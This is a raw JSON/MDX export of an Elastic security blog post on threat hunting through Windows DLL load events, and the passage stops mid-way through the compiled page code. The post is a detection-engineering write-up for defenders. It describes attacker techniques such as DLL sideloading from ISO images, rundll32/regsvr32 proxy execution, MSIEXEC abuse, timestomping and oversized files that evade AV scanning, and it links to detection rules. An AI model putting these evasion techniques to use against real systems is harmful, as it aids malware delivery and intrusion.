Component;"},"_id":"authors/john-uhlmann.mdx","_raw":{"sourceFilePath":"authors/john-uhlmann.mdx","sourceFileName":"john-uhlmann.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/john-uhlmann"},"type":"Author","imageUrl":"/assets/images/authors/john-uhlmann.jpg","url":"/authors/john-uhlmann"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Hunting for Suspicious Windows Libraries for Execution and Defense Evasion","slug":"Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion","date":"2023-03-01","description":"Learn more about discovering threats by hunting through DLL load events, one way to reveal the presence of known and unknown malware in noisy process event data.","image":"blog-thumb-roman-columns.jpg","tags":["detection engineering","threat hunting","threat detection"],"body":{"raw":"\nDynamic-link library (DLL) image loads is one of the noisiest types of event in Windows, which may discourage defenders from using it for detection engineering or threat hunting. Even if logged in some environments, it’s often limited to function-specific DLLs such as scheduled tasks (taskschd.dll), Windows Management Instrumentation (wmiutil.dll) and potentially DLLs loading from a few suspicious folders. In addition to the data volume issue, the false positive (FP) rate of the detection rules using DLL events also tend to be proportional to the data volume.\n\nUnfortunately, both advanced adversaries and also commodity malwares are taking advantage of those limitations to increase the chances of their attack success, especially during the delivery phase via diverse spear phishing procedures.\n\nThe most commonly observed delivery techniques are the following :\n\n- Loading malicious DLLs using binary execution proxies Rundll32 and Regsvr32\n- Sideloading a malicious DLL from a virtual disk image (ISO/VHD files) into a convenient signed benign binary\n- Extracting a DLL from a malicious Microsoft Office document (i.e. Word, Excel) and immediately loading it via Visual Basic for Applications (VBA)\n- Downloading or extracting a DLL using a [lolbin](https://lolbas-project.github.io/) and loading it by another program\n- Sideloading a malicious DLL extracted from a compressed archive (zip, rar, etc) into a signed benign binary\n- Dropping a malicious DLL in the current directory of an existing program vulnerable to DLL sideloading (e.g. OneDrive, Slack, Teams) via one of several means\n- Less common but also very effective is the use of Windows Installer MSIEXEC to load a malicious DLL\n\n# What DLL events do we log with Elastic Endpoint ?\n\nWith the exception of the following Microsoft DLLs, Elastic endpoint since version 7.16 records all non-Microsoft signed DLLs: \n\nWe also added some enrichments to both DLL and process events that records the following metadata: \n\nBelow is an example of device information for DLL and Process execution from mounted ISO and VHD files, two file objects increasingly used to deliver malware: \n\nHere is an example of process execution relative file creation and modification times for svchost.exe : \n\nThe relative execution time enrichment will help us create less noisy detection rules (we can match our rules against the first or few image load or process execution instances), and the device information will allow us to better target suspicious use of ISO/VHD files for malicious purposes.\n\n# Detection\n\nIn this section we share some detection ideas that are both reliable signals and effectively match the most common scenarios we mentioned earlier.\n\n## DLL via Rundll32 / Regsvr32\n\nAs captured in our own [Global Threat Report](https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement), Rundll32 and Regsvr32 lolbins are two of the most abused binary execution proxies. These utilities can load malicious DLLs and are a commonly seen component of many phishing attacks (malicious shortcuts, ISO file, macro enabled documents): \n\nDuring a recent period of about 90 days, our internal malware sandbox saw roughly 21K malware alerts where the malicious file was a DLL loaded by either regsvr32 or to a lesser degree rundll32.\n\nThe following two endpoint behavior protection rules are effective against about 80% of those samples (~17k out of ~21k) leveraging rundll32 or regsvr32 to execute malicious modules: - [Unusual DLL Extension Loaded by Rundll32 or Regsvr32](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml)- [RunDLL32/Regsvr32 Loads Dropped Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml)\n\n### Rundll32 or Regsvr32 Executing an oversized File\n\nThe following EQL query correlates creation of an executable file event with file size equal or greater than 100MB (this threshold can be adjusted to your environment) subsequently followed by being loaded as a DLL via rundll32 or regsvr32:\n\n\n\nBelow are examples of malicious control panel (CPL) files with sizes over 700MB, a technique used to bypass AV file scanning and reputation-based cloud services that implement a maximum file size for uploaded files:\n\n\n\n### Rundll32 or Regsvr32 loading a DLL with a suspicious original file name\n\nSome malicious DLLs have a suspicious original file name, such as ending with .EXE extension or with a great mismatch between the length of the original file name and the actual DLL name. This kind of defense evasion is less common and is employed by a good number of known malware families:\n\n\n\nA few examples:\n\n\n\n## DLL via Disk Images\n\nEmbedding malicious payloads in virtual disk images isn’t new or particularly novel, but the technique has gained in popularity among commodity malware families.\n\n### Suspicious ImageLoad from an ISO Mounted Device\n\nThe following rule looks for the execution of commonly-abused Windows binaries to load a DLL from a mounted virtual disk image:\n\n\n\nBelow are some example of the technique:\n\n\n\n### Suspicious Microsoft Image Loaded from a Disk Image\n\nThe following rule is triggered when an executable, running from a mounted virtual disk image (.vhd, .iso), loads a suspicious Microsoft-signed DLL such as the taskschd, bitsproxy or vaultclient modules that are associated with some common malware capabilities like persistence, credential access, and evasion.\n\n\n\nThis query identifies many commodity malware families delivered via ISO files:\n\n\n\n### Potential DLL SideLoad via a Renamed Signed Binary\n\nThe following query identifies attempts to load an unsigned DLL from a mounted virtual disk (.iso, .vhd) and using a renamed signed binary (original file name is different than the process name).\n\n\n\nThis depicts some examples of matches where a signed and renamed program is loading a DLL from a mounted disk image:\n\n\n\n### Potential DLL SideLoad via a Microsoft Signed Binary\n\nThis detection identifies attempts to load unsigned DLLs from a mounted virtual disk (.iso, .vhd) and using a signed Microsoft binary:\n\n\n\nBelow is an example in which Microsoft OneDrive and Windows Control Panel executables are abused to sideload malicious modules for initial access and execution.\n\n\n\n## DLL from Archive Files\n\nSimilarly to virtual disk images, attackers can also use ZIP/RAR archive files with embedded malicious DLL paired with a trusted binary or a shortcut (LNK) file to gain access.\n\n\n\nThe following screen capture shows how this query identifies a malicious file from a RAR archive which was auto-extracted into a temporary user directory. This scenario is moderately common.\n\n\n\n## DLL via Malicious Documents\n\nMicrosoft Office documents can be also used to deploy and load a malicious DLL to avoid spawning a suspicious child process. The following query correlates an executable (PE) file creation event with a DLL load event.\n\n\n\nBelow are some examples of malicious Word and Excel documents using this delivery technique.\n\n\n\n## DLL via MSIEXEC\n\nMsiExec is another great option when you need to execute malicious DLLs because this activity blends in well with legitimate software installers. Two observed delivery methods are:\n\n- Calling the DLLRegisterServer export from a random DLL using the command-line arguments /y or /z as documented here\n- Build an installer that uses custom actions to load and execute a DLL as documented here and here\n\nThe following query can be used to identify the execution of the built-in Windows Installer, MSIEXEC, to call the exported function and run code:\n\n\n\nExamples where MSI is used to load malicious DLLs:\n\n\n\nDLLs delivered via Windows Installer custom actions can be detected by correlating a DLL file creation event where the calling process is MsiExec and where that DLL is subsequently loaded by the same MsiExec process.\n\nIt's worth noting that there are some legitimate uses of Windows Installer custom actions and this query may require some filtering in environments where those are used.\n\n\n\nThe following query matches the Gwisin Ransomware documented by [AhnLab](https://asec.ahnlab.com/en/37483/) and for which a [PoC](https://github.com/ChoiSG/GwisinMsi) has been created.\n\n## DLL delivery via lolbins\n\nSome malware relies on trusted Microsoft binaries to download, decode or extract DLLs. This query correlates PE file creation or modification by common built-in tools, followed by an image load.\n\n\n\nExamples of malware identified using this detection approach:\n\n\n\n## DLL sideload into existing program\n\nThe following detection identifies attempts to load a recently-created and unsigned DLL file by an already existing signed process within the same current directory. Comparing the difference between the creation time of the existing program and the DLL creation time we can spot these kinds of anomalies.\n\n\n\nThe next example matches when the malicious secure32.dll process (created 28 seconds ago) is written to the current OneDrivedirectory and automatically loaded by OneDrive.exe (created 2.5 years ago):\n\n\n\n## DLL loading from suspicious directories\n\nDropping a DLL to a user-writable directories and side loading that with a trusted binary is also a common pattern. The following query looks for this behavior and, by leveraging relative creation and modification times, it can reduce the alerts volume while limiting those to a time window following initial execution.\n\n\n\nThe most commonly-targeted user-writable directories are `?:\\Users\\Public` and `?:\\ProgramData`. The full query containing more than 70 suspicious folders can be found [here](https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unsigned_dll_loaded_from_suspdir.toml).\n\nBelow see a example depicting malicious matches where various trusted binaries were abused to load malicious DLLs: \n\n\n\n## DLL load with a abnormal creation time\n\nAnother interesting scenario is identifying a DLL load event where the DLL has a suspicious creation time, and which could be a result of timestomping. This query compares inconsistencies between the creation time and filename modification time using dll.Ext.relative_file_name_modify_time and dll.Ext.relative_file_creation_time immediately followed by an image load: \n\nThe following is an example where malware drop DLLs in trusted directories and then use timestomping to ensure those DLLs blend in with existing files in those directories: \n\n## DLL from removable device\n\nDLL side-loading from a removable device is still a valid infection vector, especially for air-gapped networks. An example was recently shared by [Mandiant](https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia) involving an espionage-oriented threat. The following EQL query can be used to find similar behavior: \n\nHere is an example with several matches: \n\n## Protection Rules\n\nElastic provides significant capabilities for identifying unusual or malicious library load events with existing behavior protection rules that take advantage of Windows Libraries events:\n\n- [NTDLL Loaded from an Unusual Path](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_ntdll_loaded_from_an_unusual_path.toml)\n- [Suspicious NTDLL Image Load](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_ntdll_image_load.toml)\n- [DLL Loaded from an Archive File](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dll_loaded_from_an_archive_file.toml)\n- [Microsoft Office Loaded a Dropped Executable File](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_loaded_a_dropped_executable_file.toml)\n- [Suspicious ImageLoad from an ISO Mounted Device](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_from_an_iso_mounted_device.toml)\n- [Potential Evasion via Oversized Image Load](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_evasion_via_oversized_image_load.toml)\n- [Suspicious ImageLoad via Windows Update Auto Update Client](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_imageload_via_windows_update_auto_update_client.toml)\n- [Privilege Escalation via Microsoft Exchange DLL Hijacking](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_privilege_escalation_via_microsoft_exchange_dll_hijacking.toml)\n- [Potential DLL SideLoad via a Microsoft Signed Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_microsoft_signed_binary.toml)\n- [Potential DLL SideLoad via a Renamed Signed Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_sideload_via_a_renamed_signed_binary.toml)\n- [Library Load of a File Written by a Signed Binary Proxy](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml)\n- [Potential DLL Search Order Hijacking of an Existing Program](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_dll_search_order_hijacking_of_an_existing_program.toml)\n- [Suspicious DLLRegisterServer Execution via MSIEXEC](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_dllregisterserver_execution_via_msiexec.toml)\n- [ImageLoad of a File dropped via SMB](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_imageload_of_a_file_dropped_via_smb.toml)\n- [RunDLL32/Regsvr32 Loads Dropped Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml)\n- [Unusual DLL Extension Loaded by Rundll32 or Regsvr32](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml)\n- [RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml)\n- [Potential Initial Access via DLL Search Order Hijacking](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_initial_access_via_dll_search_order_hijacking.toml)\n- [Suspicious Control Panel DLL Loaded by Explorer](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml)\n- [Protected Process Light Bypass via DLL Tampering](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_protected_process_light_bypass_via_dll_tampering.toml)\n- [Potential Privilege Escalation via DLL Redirection](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_dll_redirection.toml)\n- [Potential Privilege Escalation via Missing DLL](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_missing_dll.toml)\n- [Potential Privilege Escalation via Elevated IFileOperation](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation.toml)\n- [Suspicious DLL Loaded by Svchost](https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_service_dll_unsigned.toml)\n- [Suspicious DLL Loaded from a Removable Media](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_dll_loaded_from_a_removable_media.toml)\n- [Suspicious Control Panel DLL Loaded by Explorer](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_control_panel_dll_loaded_by_explorer.toml)\n- [Dynwrapx Image Load via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_dynwrapx_image_load_via_windows_scripts.toml)\n- [Suspicious Image Load via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_image_load_via_windows_scripts.toml)\n- [Potential Image Load with a Spoofed Creation Time](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_image_load_with_a_spoofed_creation_time.toml)\n\n## Conclusion\n\nCompared to detections that rely on process execution events and where adversaries expose more detection opportunities via command-line flags and parent process relationships, designing detections based on DLL events requires more enrichment and correlation to decrease noise rate and increase confidence.\n\nIn this publication we shared numerous examples of how we’re using DLL events to identify threats. You can use the different capabilities Elastic endpoint offers to produce higher signal alerts, too. Given the multitude of methods of delivering malicious code as DLLs, though, relying on behavioral detections alone is not enough. Combining this logic with malware file classification, shellcode detection features, and user-entity based analytics (UEBA) improves the fidelity of this metadata for detection purposes.\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var f=(o,e)=\u003e()=\u003e(e||o((e={exports:{}}).exports,e),e.exports),b=(o,e)=\u003e{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},r=(o,e,n,t)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!p.call(o,a)\u0026\u0026a!==n\u0026\u0026s(o,a,{get:()=\u003ee[a],enumerable:!(t=u(e,a))||t.enumerable});return o};var v=(o,e,n)=\u003e(n=o!=null?h(g(o)):{},r(e||!o||!o.__esModule?s(n,\"default\",{value:o,enumerable:!0}):n,o)),w=o=\u003er(s({},\"__esModule\",{value:!0}),o);var d=f((D,l)=\u003e{l.exports=_jsx_runtime});var y={};b(y,{default:()=\u003ex,frontmatter:()=\u003e_});var i=v(d()),_={title:\"Hunting for Suspicious Windows Libraries for Execution and Defense Evasion\",slug:\"Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion\",date:\"2023-03-01\",description:\"Learn more about discovering threats by hunting through DLL load events, one way to reveal the presence of known and unknown malware in noisy process event data.\",author:[{slug:\"samir-bousseaden\"}],image:\"blog-thumb-roman-columns.jpg\",category:[{slug:\"security-operations\"},{slug:\"security-research\"},{slug:\"detection-science\"}],tags:[\"detection engineering\",\"threat hunting\",\"threat detection\"]};function c(o){let e=Object.assign({p:\"p\",ul:\"ul\",li:\"li\",a:\"a\",h1:\"h1\",img:\"img\",h2:\"h2\",h3:\"h3\",code:\"code\"},o.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.p,{children:\"Dynamic-link library (DLL) image loads is one of the noisiest types of event in Windows, which may discourage defenders from using it for detection engineering or threat hunting. Even if logged in some environments, it\\u2019s often limited to function-specific DLLs such as scheduled tasks (taskschd.dll), Windows Management Instrumentation (wmiutil.dll) and potentially DLLs loading from a few suspicious folders. In addition to the data volume issue, the false positive (FP) rate of the detection rules using DLL events also tend to be proportional to the data volume.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Unfortunately, both advanced adversaries and also commodity malwares are taking advantage of those limitations to increase the chances of their attack success, especially during the delivery phase via diverse spear phishing procedures.\"}),`\n`,(0,i.jsx)(e.p,{children:\"The most commonly observed delivery techniques are the following :\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Loading malicious DLLs using binary execution proxies Rundll32 and Regsvr32\"}),`\n`,(0,i.jsx)(e.li,{children:\"Sideloading a malicious DLL from a virtual disk image (ISO/VHD files) into a convenient signed benign binary\"}),`\n`,(0,i.jsx)(e.li,{children:\"Extracting a DLL from a malicious Microsoft Office document (i.e. Word, Excel) and immediately loading it via Visual Basic for Applications (VBA)\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Downloading or extracting a DLL using a \",(0,i.jsx)(e.a,{href:\"https://lolbas-project.github.io/\",rel:\"nofollow\",children:\"lolbin\"}),\" and loading it by another program\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Sideloading a malicious DLL extracted from a compressed archive (zip, rar, etc) into a signed benign binary\"}),`\n`,(0,i.jsx)(e.li,{children:\"Dropping a malicious DLL in the current directory of an existing program vulnerable to DLL sideloading (e.g. OneDrive, Slack, Teams) via one of several means\"}),`\n`,(0,i.jsx)(e.li,{children:\"Less common but also very effective is the use of Windows Installer MSIEXEC to load a malicious DLL\"}),`\n`]}),`\n`,(0,i.jsx)(e.h1,{id:\"what-dll-events-do-we-log-with-elastic-endpoint-\",children:\"What DLL events do we log with Elastic Endpoint ?\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"With the exception of the following Microsoft DLLs, Elastic endpoint since version 7.16 records all non-Microsoft signed DLLs: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/table1.jpg\",alt:\"\",width:\"932\",height:\"616\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"We also added some enrichments to both DLL and process events that records the following metadata: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/table2.jpg\",alt:\"\",width:\"850\",height:\"468\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is an example of device information for DLL and Process execution from mounted ISO and VHD files, two file objects increasingly used to deliver malware: \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image14.jpg\",alt:\"\",width:\"1062\",height:\"398\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Here is an example of process execution relative file creation and modification times for svchost.exe : \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image18.jpg\",alt:\"\",width:\"1417\",height:\"441\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"The relative execution time enrichment will help us create less noisy detection rules (we can match our rules against the first or few image load or process execution instances), and the device information will allow us to better target suspicious use of ISO/VHD files for malicious purposes.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"detection\",children:\"Detection\"}),`\n`,(0,i.jsx)(e.p,{children:\"In this section we share some detection ideas that are both reliable signals and effectively match the most common scenarios we mentioned earlier.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-via-rundll32--regsvr32\",children:\"DLL via Rundll32 / Regsvr32\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As captured in our own \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/2022-elastic-global-threat-report-announcement\",rel:\"nofollow\",children:\"Global Threat Report\"}),\", Rundll32 and Regsvr32 lolbins are two of the most abused binary execution proxies. These utilities can load malicious DLLs and are a commonly seen component of many phishing attacks (malicious shortcuts, ISO file, macro enabled documents): \",(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image7.jpg\",alt:\"\",width:\"652\",height:\"511\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"During a recent period of about 90 days, our internal malware sandbox saw roughly 21K malware alerts where the malicious file was a DLL loaded by either regsvr32 or to a lesser degree rundll32.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The following two endpoint behavior protection rules are effective against about 80% of those samples (~17k out of ~21k) leveraging rundll32 or regsvr32 to execute malicious modules: - \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_unusual_dll_extension_loaded_by_rundll32_or_regsvr32.toml\",rel:\"nofollow\",children:\"Unusual DLL Extension Loaded by Rundll32 or Regsvr32\"}),\"- \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_rundll32_regsvr32_loads_dropped_executable.toml\",rel:\"nofollow\",children:\"RunDLL32/Regsvr32 Loads Dropped Executable\"})]}),`\n`,(0,i.jsx)(e.h3,{id:\"rundll32-or-regsvr32-executing-an-oversized-file\",children:\"Rundll32 or Regsvr32 Executing an oversized File\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following EQL query correlates creation of an executable file event with file size equal or greater than 100MB (this threshold can be adjusted to your environment) subsequently followed by being loaded as a DLL via rundll32 or regsvr32:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image23.jpg\",alt:\"\",width:\"1417\",height:\"437\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below are examples of malicious control panel (CPL) files with sizes over 700MB, a technique used to bypass AV file scanning and reputation-based cloud services that implement a maximum file size for uploaded files:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image34.jpg\",alt:\"\",width:\"1362\",height:\"603\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"rundll32-or-regsvr32-loading-a-dll-with-a-suspicious-original-file-name\",children:\"Rundll32 or Regsvr32 loading a DLL with a suspicious original file name\"}),`\n`,(0,i.jsx)(e.p,{children:\"Some malicious DLLs have a suspicious original file name, such as ending with .EXE extension or with a great mismatch between the length of the original file name and the actual DLL name. This kind of defense evasion is less common and is employed by a good number of known malware families:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image10.jpg\",alt:\"\",width:\"864\",height:\"184\"})}),`\n`,(0,i.jsx)(e.p,{children:\"A few examples:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image33.jpg\",alt:\"\",width:\"993\",height:\"415\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-via-disk-images\",children:\"DLL via Disk Images\"}),`\n`,(0,i.jsx)(e.p,{children:\"Embedding malicious payloads in virtual disk images isn\\u2019t new or particularly novel, but the technique has gained in popularity among commodity malware families.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"suspicious-imageload-from-an-iso-mounted-device\",children:\"Suspicious ImageLoad from an ISO Mounted Device\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following rule looks for the execution of commonly-abused Windows binaries to load a DLL from a mounted virtual disk image:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image9.jpg\",alt:\"\",width:\"1297\",height:\"671\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below are some example of the technique:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image20.jpg\",alt:\"\",width:\"1440\",height:\"425\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"suspicious-microsoft-image-loaded-from-a-disk-image\",children:\"Suspicious Microsoft Image Loaded from a Disk Image\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following rule is triggered when an executable, running from a mounted virtual disk image (.vhd, .iso), loads a suspicious Microsoft-signed DLL such as the taskschd, bitsproxy or vaultclient modules that are associated with some common malware capabilities like persistence, credential access, and evasion.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image30.jpg\",alt:\"\",width:\"1382\",height:\"781\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This query identifies many commodity malware families delivered via ISO files:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image6.jpg\",alt:\"\",width:\"1365\",height:\"523\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"potential-dll-sideload-via-a-renamed-signed-binary\",children:\"Potential DLL SideLoad via a Renamed Signed Binary\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following query identifies attempts to load an unsigned DLL from a mounted virtual disk (.iso, .vhd) and using a renamed signed binary (original file name is different than the process name).\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image25.jpg\",alt:\"\",width:\"1071\",height:\"561\"})}),`\n`,(0,i.jsx)(e.p,{children:\"This depicts some examples of matches where a signed and renamed program is loading a DLL from a mounted disk image:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image15.jpg\",alt:\"\",width:\"1440\",height:\"469\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"potential-dll-sideload-via-a-microsoft-signed-binary\",children:\"Potential DLL SideLoad via a Microsoft Signed Binary\"}),`\n`,(0,i.jsx)(e.p,{children:\"This detection identifies attempts to load unsigned DLLs from a mounted virtual disk (.iso, .vhd) and using a signed Microsoft binary:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image3.jpg\",alt:\"\",width:\"841\",height:\"337\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is an example in which Microsoft OneDrive and Windows Control Panel executables are abused to sideload malicious modules for initial access and execution.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image19.jpg\",alt:\"\",width:\"923\",height:\"362\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-from-archive-files\",children:\"DLL from Archive Files\"}),`\n`,(0,i.jsx)(e.p,{children:\"Similarly to virtual disk images, attackers can also use ZIP/RAR archive files with embedded malicious DLL paired with a trusted binary or a shortcut (LNK) file to gain access.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image5.jpg\",alt:\"\",width:\"1120\",height:\"489\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The following screen capture shows how this query identifies a malicious file from a RAR archive which was auto-extracted into a temporary user directory. This scenario is moderately common.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion/image27.jpg\",alt:\"\",width:\"1089\",height:\"402\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"dll-via-malicious-documents\",children:\"DLL via Malicious Documents\"}),`\n`,(0,i.jsx)(e.p,{children:\"Microsoft Office documents can be also used to deploy and load a malicious DLL to avoid spawning a suspicious child process. The following query correlates an executable (PE) file creation 